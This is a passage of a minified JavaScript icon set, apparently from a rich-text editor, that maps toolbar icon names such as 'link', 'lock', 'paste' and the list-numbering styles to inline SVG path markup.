2-1.5l2-9.8.1-.5c0-.6-.4-.8-1.4-.8h-.3l.2-.9h5.8z" fill-rule="evenodd"/></svg>',language:'<svg width="24" height="24"><path d="M12 3a9 9 0 110 18 9 9 0 010-18zm4.3 13.3c-.5 1-1.2 2-2 2.9a7.5 7.5 0 003.2-2.1l-.2-.2a6 6 0 00-1-.6zm-8.6 0c-.5.2-.9.5-1.2.8.9 1 2 1.7 3.2 2a10 10 0 01-2-2.8zm3.6-.8c-.8 0-1.6.1-2.2.3.5 1 1.2 1.9 2.1 2.7zm1.5 0v3c.9-.8 1.6-1.7 2.1-2.7-.6-.2-1.4-.3-2.1-.3zm-6-2.7H4.5c.2 1 .5 2.1 1 3h.3l1.3-1a10 10 0 01-.3-2zm12.7 0h-2.3c0 .7-.1 1.4-.3 2l1.6 1.1c.5-1 .9-2 1-3.1zm-3.8 0h-3V14c1 0 2 .1 2.7.4.2-.5.3-1 .3-1.6zm-4.4 0h-3l.3 1.6c.8-.3 1.7-.4 2.7-.4v-1.3zm-5.5-5c-.7 1-1.1 2.2-1.3 3.5h2.3c0-1 .2-1.8.5-2.6l-1.5-1zm2.9 1.4v.1c-.2.6-.4 1.3-.4 2h3V9.4c-1 0-1.8-.1-2.6-.3zm6.6 0h-.1l-2.4.3v1.8h3l-.5-2.1zm3-1.4l-.3.1-1.3.8c.3.8.5 1.6.5 2.6h2.3a7.5 7.5 0 00-1.3-3.5zm-9 0l2 .2V5.5a9 9 0 00-2 2.2zm3.5-2.3V8c.6 0 1.3 0 1.9-.2a9 9 0 00-2-2.3zm-3-.7h-.1c-1.1.4-2.1 1-3 1.8l1.2.7a10 10 0 011.9-2.5zm4.4 0l.1.1a10 10 0 011.8 2.4l1.1-.7a7.5 7.5 0 00-3-1.8z"/></svg>',"line-height":'<svg width="24" height="24"><path d="M21 5a1 1 0 01.1 2H13a1 1 0 01-.1-2H21zm0 4a1 1 0 01.1 2H13a1 1 0 01-.1-2H21zm0 4a1 1 0 01.1 2H13a1 1 0 01-.1-2H21zm0 4a1 1 0 01.1 2H13a1 1 0 01-.1-2H21zM7 3.6l3.7 3.7a1 1 0 01-1.3 1.5h-.1L8 7.3v9.2l1.3-1.3a1 1 0 011.3 0h.1c.4.4.4 1 0 1.3v.1L7 20.4l-3.7-3.7a1 1 0 011.3-1.5h.1L6 16.7V7.4L4.7 8.7a1 1 0 01-1.3 0h-.1a1 1 0 010-1.3v-.1L7 3.6z"/></svg>',line:'<svg width="24" height="24"><path d="M15 9l-8 8H4v-3l8-8 3 3zm1-1l-3-3 1-1h1c-.2 0 0 0 0 0l2 2s0 .2 0 0v1l-1 1zM4 18h16v2H4v-2z" fill-rule="evenodd"/></svg>',link:'<svg width="24" height="24"><path d="M6.2 12.3a1 1 0 011.4 1.4l-2.1 2a2 2 0 102.7 2.8l4.8-4.8a1 1 0 000-1.4 1 1 0 111.4-1.3 2.9 2.9 0 010 4L9.6 20a3.9 3.9 0 01-5.5-5.5l2-2zm11.6-.6a1 1 0 01-1.4-1.4l2-2a2 2 0 10-2.6-2.8L11 10.3a1 1 0 000 1.4A1 1 0 119.6 13a2.9 2.9 0 010-4L14.4 4a3.9 3.9 0 015.5 5.5l-2 2z" fill-rule="nonzero"/></svg>',"list-bull-circle":'<svg width="48" height="48"><g fill-rule="evenodd"><path d="M11 16a2 2 0 100-4 2 2 0 000 4zm0 1a3 3 0 110-6 3 3 0 010 6zM11 26a2 2 0 100-4 2 2 0 000 4zm0 1a3 3 0 110-6 3 3 0 010 6zM11 36a2 2 0 100-4 2 2 0 000 4zm0 1a3 3 0 110-6 3 3 0 010 6z" fill-rule="nonzero"/><path opacity=".2" d="M18 12h22v4H18zM18 22h22v4H18zM18 32h22v4H18z"/></g></svg>',"list-bull-default":'<svg width="48" height="48"><g fill-rule="evenodd"><circle cx="11" cy="14" r="3"/><circle cx="11" cy="24" r="3"/><circle cx="11" cy="34" r="3"/><path opacity=".2" d="M18 12h22v4H18zM18 22h22v4H18zM18 32h22v4H18z"/></g></svg>',"list-bull-square":'<svg width="48" height="48"><g fill-rule="evenodd"><path d="M8 11h6v6H8zM8 21h6v6H8zM8 31h6v6H8z"/><path opacity=".2" d="M18 12h22v4H18zM18 22h22v4H18zM18 32h22v4H18z"/></g></svg>',"list-num-default-rtl":'<svg width="48" height="48"><g fill-rule="evenodd"><path opacity=".2" d="M8 12h22v4H8zM8 22h22v4H8zM8 32h22v4H8z"/><path d="M37.4 17v-4.8l-1.6 1v-1.1l1.6-1h1.2V17zM33.3 17.1c-.5 0-.8-.3-.8-.7 0-.4.3-.7.8-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7zm1.7 5.7c0-1.2 1-2 2.2-2 1.3 0 2.1.8 2.1 1.8 0 .7-.3 1.2-1.3 2.2l-1.2 1v.2h2.6v1h-4.3v-.9l2-1.9c.8-.8 1-1.1 1-1.5 0-.5-.4-.8-1-.8-.5 0-.9.3-.9.9H35zm-1.7 4.3c-.5 0-.8-.3-.8-.7 0-.4.3-.7.8-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7zm3.2 7.3v-1h.7c.6 0 1-.3 1-.8 0-.4-.4-.7-1-.7s-1 .3-1 .8H35c0-1.1 1-1.8 2.2-1.8 1.2 0 2.1.6 2.1 1.6 0 .7-.4 1.2-1 1.3v.1c.7.1 1.3.7 1.3 1.4 0 1-1 1.9-2.4 1.9-1.3 0-2.2-.8-2.3-2h1.2c0 .6.5 1 1.1 1 .6 0 1-.4 1-1 0-.5-.3-.8-1-.8h-.7zm-3.3 2.7c-.4 0-.7-.3-.7-.7 0-.4.3-.7.7-.7.5 0 .8.3.8.7 0 .4-.3.7-.8.7z"/></g></svg>',"list-num-default":'<svg width="48" height="48"><g fill-rule="evenodd"><path opacity=".2" d="M18 12h22v4H18zM18 22h22v4H18zM18 32h22v4H18z"/><path d="M10 17v-4.8l-1.5 1v-1.1l1.6-1h1.2V17h-1.2zm3.6.1c-.4 0-.7-.3-.7-.7 0-.4.3-.7.7-.7.5 0 .7.3.7.7 0 .4-.2.7-.7.7zm-5 5.7c0-1.2.8-2 2.1-2s2.1.8 2.1 1.8c0 .7-.3 1.2-1.4 2.2l-1.1 1v.2h2.6v1H8.6v-.9l2-1.9c.8-.8 1-1.1 1-1.5 0-.5-.4-.8-1-.8-.5 0-.9.3-.9.9H8.5zm6.3 4.3c-.5 0-.7-.3-.7-.7 0-.4.2-.7.7-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7zM10 34.4v-1h.7c.6 0 1-.3 1-.8 0-.4-.4-.7-1-.7s-1 .3-1 .8H8.6c0-1.1 1-1.8 2.2-1.8 1.3 0 2.1.6 2.1 1.6 0 .7-.4 1.2-1 1.3v.1c.8.1 1.3.7 1.3 1.4 0 1-1 1.9-2.4 1.9-1.3 0-2.2-.8-2.3-2h1.2c0 .6.5 1 1.1 1 .7 0 1-.4 1-1 0-.5-.3-.8-1-.8h-.7zm4.7 2.7c-.4 0-.7-.3-.7-.7 0-.4.3-.7.7-.7.5 0 .8.3.8.7 0 .4-.3.7-.8.7z"/></g></svg>',"list-num-lower-alpha-rtl":'<svg width="48" height="48"><g fill-rule="evenodd"><path opacity=".2" d="M8 12h22v4H8zM8 22h22v4H8zM8 32h22v4H8z"/><path d="M36.5 16c-.9 0-1.5-.5-1.5-1.3s.6-1.3 1.8-1.4h1v-.4c0-.4-.2-.6-.7-.6-.4 0-.7.1-.8.4h-1.1c0-.8.8-1.4 2-1.4S39 12 39 13V16h-1.2v-.6c-.3.4-.8.7-1.4.7zm.4-.8c.6 0 1-.4 1-.9V14h-1c-.5.1-.7.3-.7.6 0 .4.3.6.7.6zM33.1 16.1c-.4 0-.7-.3-.7-.7 0-.4.3-.7.7-.7.5 0 .8.3.8.7 0 .4-.3.7-.8.7zM37.7 26c-.7 0-1.2-.2-1.5-.7v.7H35v-6.3h1.2v2.5c.3-.5.8-.9 1.5-.9 1.1 0 1.8 1 1.8 2.4 0 1.5-.7 2.4-1.8 2.4zm-.5-3.6c-.6 0-1 .5-1 1.3s.4 1.4 1 1.4c.7 0 1-.6 1-1.4 0-.8-.3-1.3-1-1.3zM33.2 26.1c-.4 0-.7-.3-.7-.7 0-.4.3-.7.7-.7.5 0 .8.3.8.7 0 .4-.3.7-.8.7zm6 7h-1c-.1-.5-.4-.8-1-.8s-1 .5-1 1.4c0 1 .4 1.4 1 1.4.5 0 .9-.2 1-.7h1c0 1-.8 1.7-2 1.7-1.4 0-2.2-.9-2.2-2.4s.8-2.4 2.2-2.4c1.2 0 2 .7 2 1.7zm-6.1 3c-.5 0-.7-.3-.7-.7 0-.4.2-.7.7-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7z"/></g></svg>',"list-num-lower-alpha":'<svg width="48" height="48"><g fill-rule="evenodd"><path opacity=".2" d="M18 12h22v4H18zM18 22h22v4H18zM18 32h22v4H18z"/><path d="M10.3 15.2c.5 0 1-.4 1-.9V14h-1c-.5.1-.8.3-.8.6 0 .4.3.6.8.6zm-.4.9c-1 0-1.5-.6-1.5-1.4 0-.8.6-1.3 1.7-1.4h1.1v-.4c0-.4-.2-.6-.7-.6-.5 0-.8.1-.9.4h-1c0-.8.8-1.4 2-1.4 1.1 0 1.8.6 1.8 1.6V16h-1.1v-.6h-.1c-.2.4-.7.7-1.3.7zm4.6 0c-.5 0-.7-.3-.7-.7 0-.4.2-.7.7-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7zm-3.2 10c-.6 0-1.2-.3-1.4-.8v.7H8.5v-6.3H10v2.5c.3-.5.8-.9 1.4-.9 1.2 0 1.9 1 1.9 2.4 0 1.5-.7 2.4-1.9 2.4zm-.4-3.7c-.7 0-1 .5-1 1.3s.3 1.4 1 1.4c.6 0 1-.6 1-1.4 0-.8-.4-1.3-1-1.3zm4 3.7c-.5 0-.7-.3-.7-.7 0-.4.2-.7.7-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7zm-2.2 7h-1.2c0-.5-.4-.8-.9-.8-.6 0-1 .5-1 1.4 0 1 .4 1.4 1 1.4.5 0 .8-.2 1-.7h1c0 1-.8 1.7-2 1.7-1.4 0-2.2-.9-2.2-2.4s.8-2.4 2.2-2.4c1.2 0 2 .7 2 1.7zm1.8 3c-.5 0-.8-.3-.8-.7 0-.4.3-.7.8-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7z"/></g></svg>',"list-num-lower-greek-rtl":'<svg width="48" height="48"><g fill-rule="evenodd"><path opacity=".2" d="M8 12h22v4H8zM8 22h22v4H8zM8 32h22v4H8z"/><path d="M37.4 16c-1.2 0-2-.8-2-2.3 0-1.5.8-2.4 2-2.4.6 0 1 .4 1.3 1v-.9H40v3.2c0 .4.1.5.4.5h.2v.9h-.6c-.6 0-1-.2-1-.7h-.2c-.2.4-.7.8-1.3.8zm.3-1c.6 0 1-.5 1-1.3s-.4-1.3-1-1.3-1 .5-1 1.3.4 1.4 1 1.4zM33.3 16.1c-.5 0-.8-.3-.8-.7 0-.4.3-.7.8-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7zM36 21.9c0-1.5.8-2.3 2.1-2.3 1.2 0 2 .6 2 1.6 0 .6-.3 1-.9 1.3.9.3 1.3.8 1.3 1.7 0 1.2-.7 1.9-1.8 1.9-.6 0-1.1-.3-1.4-.8v2.2H36V22zm1.8 1.2v-1h.3c.5 0 .9-.2.9-.7 0-.5-.3-.8-.9-.8-.5 0-.8.3-.8 1v2.2c0 .8.4 1.3 1 1.3s1-.4 1-1-.4-1-1.2-1h-.3zM33.3 26.1c-.5 0-.8-.3-.8-.7 0-.4.3-.7.8-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7zM37.1 34.6L34.8 30h1.4l1.7 3.5 1.7-3.5h1.1l-2.2 4.6v.1c.5.8.7 1.4.7 1.8 0 .4-.2.8-.4 1-.2.2-.6.3-1 .3-.9 0-1.3-.4-1.3-1.2 0-.5.2-1 .5-1.7l.1-.2zm.7 1a2 2 0 00-.4.9c0 .3.1.4.4.4.3 0 .4-.1.4-.4 0-.2-.1-.6-.4-1zM33.3 36.1c-.5 0-.8-.3-.8-.7 0-.4.3-.7.8-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7z"/></g></svg>',"list-num-lower-greek":'<svg width="48" height="48"><g fill-rule="evenodd"><path opacity=".2" d="M18 12h22v4H18zM18 22h22v4H18zM18 32h22v4H18z"/><path d="M10.5 15c.7 0 1-.5 1-1.3s-.3-1.3-1-1.3c-.5 0-.9.5-.9 1.3s.4 1.4 1 1.4zm-.3 1c-1.1 0-1.8-.8-1.8-2.3 0-1.5.7-2.4 1.8-2.4.7 0 1.1.4 1.3 1h.1v-.9h1.2v3.2c0 .4.1.5.4.5h.2v.9h-.6c-.6 0-1-.2-1.1-.7h-.1c-.2.4-.7.8-1.4.8zm5 .1c-.5 0-.8-.3-.8-.7 0-.4.3-.7.7-.7.5 0 .8.3.8.7 0 .4-.3.7-.8.7zm-4.9 7v-1h.3c.6 0 1-.2 1-.7 0-.5-.4-.8-1-.8-.5 0-.8.3-.8 1v2.2c0 .8.4 1.3 1.1 1.3.6 0 1-.4 1-1s-.5-1-1.3-1h-.3zM8.6 22c0-1.5.7-2.3 2-2.3 1.2 0 2 .6 2 1.6 0 .6-.3 1-.8 1.3.8.3 1.3.8 1.3 1.7 0 1.2-.8 1.9-1.9 1.9-.6 0-1.1-.3-1.3-.8v2.2H8.5V22zm6.2 4.2c-.4 0-.7-.3-.7-.7 0-.4.3-.7.7-.7.5 0 .7.3.7.7 0 .4-.2.7-.7.7zm-4.5 8.5L8 30h1.4l1.7 3.5 1.7-3.5h1.1l-2.2 4.6v.1c.5.8.7 1.4.7 1.8 0 .4-.1.8-.4 1-.2.2-.6.3-1 .3-.9 0-1.3-.4-1.3-1.2 0-.5.2-1 .5-1.7l.1-.2zm.7 1a2 2 0 00-.4.9c0 .3.1.4.4.4.3 0 .4-.1.4-.4 0-.2-.1-.6-.4-1zm4.5.5c-.5 0-.8-.3-.8-.7 0-.4.3-.7.8-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7z"/></g></svg>',"list-num-lower-roman-rtl":'<svg width="48" height="48"><g fill-rule="evenodd"><path opacity=".2" d="M8 12h22v4H8zM8 22h22v4H8zM8 32h22v4H8z"/><path d="M32.9 16v-1.2h-1.3V16H33zm0 10v-1.2h-1.3V26H33zm0 10v-1.2h-1.3V36H33z"/><path fill-rule="nonzero" d="M36 21h-1.5v5H36zM36 31h-1.5v5H36zM39 21h-1.5v5H39zM39 31h-1.5v5H39zM42 31h-1.5v5H42zM36 11h-1.5v5H36zM36 19h-1.5v1H36zM36 29h-1.5v1H36zM39 19h-1.5v1H39zM39 29h-1.5v1H39zM42 29h-1.5v1H42zM36 9h-1.5v1H36z"/></g></svg>',"list-num-lower-roman":'<svg width="48" height="48"><g fill-rule="evenodd"><path opacity=".2" d="M18 12h22v4H18zM18 22h22v4H18zM18 32h22v4H18z"/><path d="M15.1 16v-1.2h1.3V16H15zm0 10v-1.2h1.3V26H15zm0 10v-1.2h1.3V36H15z"/><path fill-rule="nonzero" d="M12 21h1.5v5H12zM12 31h1.5v5H12zM9 21h1.5v5H9zM9 31h1.5v5H9zM6 31h1.5v5H6zM12 11h1.5v5H12zM12 19h1.5v1H12zM12 29h1.5v1H12zM9 19h1.5v1H9zM9 29h1.5v1H9zM6 29h1.5v1H6zM12 9h1.5v1H12z"/></g></svg>',"list-num-upper-alpha-rtl":'<svg width="48" height="48"><g fill-rule="evenodd"><path opacity=".2" d="M8 12h22v4H8zM8 22h22v4H8zM8 32h22v4H8z"/><path d="M39.3 17l-.5-1.4h-2l-.5 1.4H35l2-6h1.6l2 6h-1.3zm-1.6-4.7l-.7 2.3h1.6l-.8-2.3zM33.4 17c-.4 0-.7-.3-.7-.7 0-.4.3-.7.7-.7.5 0 .7.3.7.7 0 .4-.2.7-.7.7zm4.7 9.9h-2.7v-6H38c1.2 0 1.9.6 1.9 1.5 0 .6-.5 1.2-1 1.3.7.1 1.3.7 1.3 1.5 0 1-.8 1.7-2 1.7zm-1.4-5v1.5h1c.6 0 1-.3 1-.8 0-.4-.4-.7-1-.7h-1zm0 4h1.1c.7 0 1.1-.3 1.1-.8 0-.6-.4-.9-1.1-.9h-1.1V26zM33 27.1c-.5 0-.8-.3-.8-.7 0-.4.3-.7.8-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7zm4.9 10c-1.8 0-2.8-1.1-2.8-3.1s1-3.1 2.8-3.1c1.4 0 2.5.9 2.6 2.2h-1.3c0-.7-.6-1.1-1.3-1.1-1 0-1.6.7-1.6 2s.6 2 1.6 2c.7 0 1.2-.4 1.4-1h1.2c-.1 1.3-1.2 2.2-2.6 2.2zm-4.5 0c-.5 0-.8-.3-.8-.7 0-.4.3-.7.8-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7z"/></g></svg>',"list-num-upper-alpha":'<svg width="48" height="48"><g fill-rule="evenodd"><path opacity=".2" d="M18 12h22v4H18zM18 22h22v4H18zM18 32h22v4H18z"/><path d="M12.6 17l-.5-1.4h-2L9.5 17H8.3l2-6H12l2 6h-1.3zM11 12.3l-.7 2.3h1.6l-.8-2.3zm4.7 4.8c-.4 0-.7-.3-.7-.7 0-.4.3-.7.7-.7.5 0 .7.3.7.7 0 .4-.2.7-.7.7zM11.4 27H8.7v-6h2.6c1.2 0 1.9.6 1.9 1.5 0 .6-.5 1.2-1 1.3.7.1 1.3.7 1.3 1.5 0 1-.8 1.7-2 1.7zM10 22v1.5h1c.6 0 1-.3 1-.8 0-.4-.4-.7-1-.7h-1zm0 4H11c.7 0 1.1-.3 1.1-.8 0-.6-.4-.9-1.1-.9H10V26zm5.4 1.1c-.5 0-.8-.3-.8-.7 0-.4.3-.7.8-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7zm-4.1 10c-1.8 0-2.8-1.1-2.8-3.1s1-3.1 2.8-3.1c1.4 0 2.5.9 2.6 2.2h-1.3c0-.7-.6-1.1-1.3-1.1-1 0-1.6.7-1.6 2s.6 2 1.6 2c.7 0 1.2-.4 1.4-1h1.2c-.1 1.3-1.2 2.2-2.6 2.2zm4.5 0c-.5 0-.8-.3-.8-.7 0-.4.3-.7.8-.7.4 0 .7.3.7.7 0 .4-.3.7-.7.7z"/></g></svg>',"list-num-upper-roman-rtl":'<svg width="48" height="48"><g fill-rule="evenodd"><path opacity=".2" d="M8 12h22v4H8zM8 22h22v4H8zM8 32h22v4H8z"/><path d="M31.6 17v-1.2H33V17h-1.3zm0 10v-1.2H33V27h-1.3zm0 10v-1.2H33V37h-1.3z"/><path fill-rule="nonzero" d="M34.5 20H36v7h-1.5zM34.5 30H36v7h-1.5zM37.5 20H39v7h-1.5zM37.5 30H39v7h-1.5zM40.5 30H42v7h-1.5zM34.5 10H36v7h-1.5z"/></g></svg>',"list-num-upper-roman":'<svg width="48" height="48"><g fill-rule="evenodd"><path opacity=".2" d="M18 12h22v4H18zM18 22h22v4H18zM18 32h22v4H18z"/><path d="M15.1 17v-1.2h1.3V17H15zm0 10v-1.2h1.3V27H15zm0 10v-1.2h1.3V37H15z"/><path fill-rule="nonzero" d="M12 20h1.5v7H12zM12 30h1.5v7H12zM9 20h1.5v7H9zM9 30h1.5v7H9zM6 30h1.5v7H6zM12 10h1.5v7H12z"/></g></svg>',lock:'<svg width="24" height="24"><path d="M16.3 11c.2 0 .3 0 .5.2l.2.6v7.4c0 .3 0 .4-.2.6l-.6.2H7.8c-.3 0-.4 0-.6-.2a.7.7 0 01-.2-.6v-7.4c0-.3 0-.4.2-.6l.5-.2H8V8c0-.8.3-1.5.9-2.1.6-.6 1.3-.9 2.1-.9h2c.8 0 1.5.3 2.1.9.6.6.9 1.3.9 2.1v3h.3zM10 8v3h4V8a1 1 0 00-.3-.7A1 1 0 0013 7h-2a1 1 0 00-.7.3 1 1 0 00-.3.7z" fill-rule="evenodd"/></svg>',ltr:'<svg width="24" height="24"><path d="M11 5h7a1 1 0 010 2h-1v11a1 1 0 01-2 0V7h-2v11a1 1 0 01-2 0v-6c-.5 0-1 0-1.4-.3A3.4 3.4 0 017.8 10a3.3 3.3 0 010-2.8 3.4 3.4 0 011.8-1.8L11 5zM4.4 16.2L6.2 15l-1.8-1.2a1 1 0 011.2-1.6l3 2a1 1 0 010 1.6l-3 2a1 1 0 11-1.2-1.6z" fill-rule="evenodd"/></svg>',"more-drawer":'<svg width="24" height="24"><path d="M6 10a2 2 0 00-2 2c0 1.1.9 2 2 2a2 2 0 002-2 2 2 0 00-2-2zm12 0a2 2 0 00-2 2c0 1.1.9 2 2 2a2 2 0 002-2 2 2 0 00-2-2zm-6 0a2 2 0 00-2 2c0 1.1.9 2 2 2a2 2 0 002-2 2 2 0 00-2-2z" fill-rule="nonzero"/></svg>',"new-document":'<svg width="24" height="24"><path d="M14.4 3H7a2 2 0 00-2 2v14c0 1.1.9 2 2 2h10a2 2 0 002-2V7.6L14.4 3zM17 19H7V5h6v4h4v10z" fill-rule="nonzero"/></svg>',"new-tab":'<svg width="24" height="24"><path d="M15 13l2-2v8H5V7h8l-2 2H7v8h8v-4zm4-8v5.5l-2-2-5.6 5.5H10v-1.4L15.5 7l-2-2H19z" fill-rule="evenodd"/></svg>',"non-breaking":'<svg width="24" height="24"><path d="M11 11H8a1 1 0 110-2h3V6c0-.6.4-1 1-1s1 .4 1 1v3h3c.6 0 1 .4 1 1s-.4 1-1 1h-3v3c0 .6-.4 1-1 1a1 1 0 01-1-1v-3zm10 4v5H3v-5c0-.6.4-1 1-1s1 .4 1 1v3h14v-3c0-.6.4-1 1-1s1 .4 1 1z" fill-rule="evenodd"/></svg>',notice:'<svg width="24" height="24"><path d="M17.8 9.8L15.4 4 20 8.5v7L15.5 20h-7L4 15.5v-7L8.5 4h7l2.3 5.8zm0 0l2.2 5.7-2.3-5.8zM13 17v-2h-2v2h2zm0-4V7h-2v6h2z" fill-rule="evenodd"/></svg>',"ordered-list-rtl":'<svg width="24" height="24"><path d="M6 17h8a1 1 0 010 2H6a1 1 0 010-2zm0-6h8a1 1 0 010 2H6a1 1 0 010-2zm0-6h8a1 1 0 010 2H6a1 1 0 110-2zm13-1v3.5a.5.5 0 11-1 0V5h-.5a.5.5 0 110-1H19zm-1 8.8l.2.2h1.3a.5.5 0 110 1h-1.6a1 1 0 01-.9-1V13c0-.4.3-.8.6-1l1.2-.4.2-.3a.2.2 0 00-.2-.2h-1.3a.5.5 0 01-.5-.5c0-.3.2-.5.5-.5h1.6c.5 0 .9.4.9 1v.1c0 .4-.3.8-.6 1l-1.2.4-.2.3zm2 4.2v2c0 .6-.4 1-1 1h-1.5a.5.5 0 010-1h1.2a.3.3 0 100-.6h-1.3a.4.4 0 110-.8h1.3a.3.3 0 000-.6h-1.2a.5.5 0 110-1H19c.6 0 1 .4 1 1z" fill-rule="evenodd"/></svg>',"ordered-list":'<svg width="24" height="24"><path d="M10 17h8c.6 0 1 .4 1 1s-.4 1-1 1h-8a1 1 0 010-2zm0-6h8c.6 0 1 .4 1 1s-.4 1-1 1h-8a1 1 0 010-2zm0-6h8c.6 0 1 .4 1 1s-.4 1-1 1h-8a1 1 0 110-2zM6 4v3.5c0 .3-.2.5-.5.5a.5.5 0 01-.5-.5V5h-.5a.5.5 0 010-1H6zm-1 8.8l.2.2h1.3c.3 0 .5.2.5.5s-.2.5-.5.5H4.9a1 1 0 01-.9-1V13c0-.4.3-.8.6-1l1.2-.4.2-.3a.2.2 0 00-.2-.2H4.5a.5.5 0 01-.5-.5c0-.3.2-.5.5-.5h1.6c.5 0 .9.4.9 1v.1c0 .4-.3.8-.6 1l-1.2.4-.2.3zM7 17v2c0 .6-.4 1-1 1H4.5a.5.5 0 010-1h1.2c.2 0 .3-.1.3-.3 0-.2-.1-.3-.3-.3H4.4a.4.4 0 110-.8h1.3c.2 0 .3-.1.3-.3 0-.2-.1-.3-.3-.3H4.5a.5.5 0 110-1H6c.6 0 1 .4 1 1z" fill-rule="evenodd"/></svg>',orientation:'<svg width="24" height="24"><path d="M7.3 6.4L1 13l6.4 6.5 6.5-6.5-6.5-6.5zM3.7 13l3.6-3.7L11 13l-3.7 3.7-3.6-3.7zM12 6l2.8 2.7c.3.3.3.8 0 1-.3.4-.9.4-1.2 0L9.2 5.7a.8.8 0 010-1.2L13.6.2c.3-.3.9-.3 1.2 0 .3.3.3.8 0 1.1L12 4h1a9 9 0 11-4.3 16.9l1.5-1.5A7 7 0 1013 6h-1z" fill-rule="nonzero"/></svg>',outdent:'<svg width="24" height="24"><path d="M7 5h12c.6 0 1 .4 1 1s-.4 1-1 1H7a1 1 0 110-2zm5 4h7c.6 0 1 .4 1 1s-.4 1-1 1h-7a1 1 0 010-2zm0 4h7c.6 0 1 .4 1 1s-.4 1-1 1h-7a1 1 0 010-2zm-5 4h12a1 1 0 010 2H7a1 1 0 010-2zm1.6-3.8a1 1 0 01-1.2 1.6l-3-2a1 1 0 010-1.6l3-2a1 1 0 011.2 1.6L6.8 12l1.8 1.2z" fill-rule="evenodd"/></svg>',"page-break":'<svg width="24" height="24"><g fill-rule="evenodd"><path d="M5 11c.6 0 1 .4 1 1s-.4 1-1 1a1 1 0 010-2zm3 0h1c.6 0 1 .4 1 1s-.4 1-1 1H8a1 1 0 010-2zm4 0c.6 0 1 .4 1 1s-.4 1-1 1a1 1 0 010-2zm3 0h1c.6 0 1 .4 1 1s-.4 1-1 1h-1a1 1 0 010-2zm4 0c.6 0 1 .4 1 1s-.4 1-1 1a1 1 0 010-2zM7 3v5h10V3c0-.6.4-1 1-1s1 .4 1 1v7H5V3c0-.6.4-1 1-1s1 .4 1 1zM6 22a1 1 0 01-1-1v-7h14v7c0 .6-.4 1-1 1a1 1 0 01-1-1v-5H7v5c0 .6-.4 1-1 1z"/></g></svg>',paragraph:'<svg width="24" height="24"><path fill-rule="evenodd" d="M10 5h7a1 1 0 010 2h-1v11a1 1 0 01-2 0V7h-2v11a1 1 0 01-2 0v-6c-.5 0-1 0-1.4-.3A3.4 3.4 0 016.8 10a3.3 3.3 0 010-2.8 3.4 3.4 0 011.8-1.8L10 5z"/></svg>',"paste-column-after":'<svg width="24" height="24"><path fill-rule="evenodd" d="M12 1a3 3 0 012.8 2H18c1 0 2 .8 2 1.9V7h-2V5h-2v1c0 .6-.4 1-1 1H9a1 1 0 01-1-1V5H6v13h7v2H6c-1 0-2-.8-2-1.9V5c0-1 .8-2 1.9-2H9.2A3 3 0 0112 1zm8 7v12h-6V8h6zm-1.5 1.5h-3v9h3v-9zM12 3a1 1 0 100 2 1 1 0 000-2z"/></svg>',"paste-column-before":'<svg width="24" height="24"><path fill-rule="evenodd" d="M12 1a3 3 0 012.8 2H18c1 0 2 .8 2 1.9V18c0 1-.8 2-1.9 2H11v-2h7V5h-2v1c0 .6-.4 1-1 1H9a1 1 0 01-1-1V5H6v2H4V5c0-1 .8-2 1.9-2H9.2A3 3 0 0112 1zm-2 7v12H4V8h6zM8.5 9.5h-3v9h3v-9zM12 3a1 1 0 100 2 1 1 0 000-2z"/></svg>',"paste-row-after":'<svg width="24" height="24"><path fill-rule="evenodd" d="M12 1a3 3 0 012.8 2H18c1 0 2 .8 2 1.9V11h-2V5h-2v1c0 .6-.4 1-1 1H9a1 1 0 01-1-1V5H6v13h14c0 1-.8 2-1.9 2H6c-1 0-2-.8-2-1.9V5c0-1 .8-2 1.9-2H9.2A3 3 0 0112 1zm10 11v5H8v-5h14zm-1.5 1.5h-11v2h11v-2zM12 3a1 1 0 100 2 1 1 0 000-2z"/></svg>',"paste-row-before":'<svg width="24" height="24"><path fill-rule="evenodd" d="M12 1a3 3 0 012.8 2H18c1 0 2 .8 2 1.9V7h-2V5h-2v1c0 .6-.4 1-1 1H9a1 1 0 01-1-1V5H6v13h12v-4h2v4c0 1-.8 2-1.9 2H6c-1 0-2-.8-2-1.9V5c0-1 .8-2 1.9-2H9.2A3 3 0 0112 1zm10 7v5H8V8h14zm-1.5 1.5h-11v2h11v-2zM12 3a1 1 0 100 2 1 1 0 000-2z"/></svg>',"paste-text":'<svg width="24" height="24"><path d="M18 9V5h-2v1c0 .6-.4 1-1 1H9a1 1 0 01-1-1V5H6v13h3V9h9zM9 20H6a2 2 0 01-2-2V5c0-1.1.9-2 2-2h3.2A3 3 0 0112 1a3 3 0 012.8 2H18a2 2 0 012 2v4h1v12H9v-1zm1.5-9.5v9h9v-9h-9zM12 3a1 1 0 00-1 1c0 .5.4 1 1 1s1-.5 1-1-.4-1-1-1zm0 9h6v2h-.5l-.5-1h-1v4h.8v1h-3.6v-1h.8v-4h-1l-.5 1H12v-2z" fill-rule="nonzero"/></svg>',paste:'<svg width="24" height="24"><path d="M18 9V5h-2v1c0 .6-.4 1-1 1H9a1 1 0 01-1-1V5H6v13h3V9h9zM9 20H6a2 2 0 01-2-2V5c0-1.1.9-2 2-2h3.2A3 3 0 0112 1a3 3 0 012.8 2H18a2 2 0 012 2v4h1v12H9v-1zm1.5-9.5v9h9v-9h-9zM12 3a1 1 0 00-1 1c0 .5.4 1 1 1s1-.5 1-1-.4-1-1-1z" fill-rule="nonzero"/></svg>',"permanent-pen":'<svg width="24" height="24"><path d="M10.5 17.5L8 20H3v-3l3.5-3.5a2 2 0 010-3L14 3l1 1-7.3 7.3a1 1 0 000 1.4l3.6 3.6c.4.4 1 .4 1.4 0L20 9l1 1-7.6 7.6a2 2 0 01-2.8 0l-.1-.1z" fill-rule="nonzero"/></svg>',plus:'<svg width="24" height="24"><path d="M12 4c.5 0 1 .4 1 .9V11h6a1 1 0 01.1 2H13v6a1 1 0 01-2 .1V13H5a1 1 0 01-.1-2H11V5c0-.6.4-1 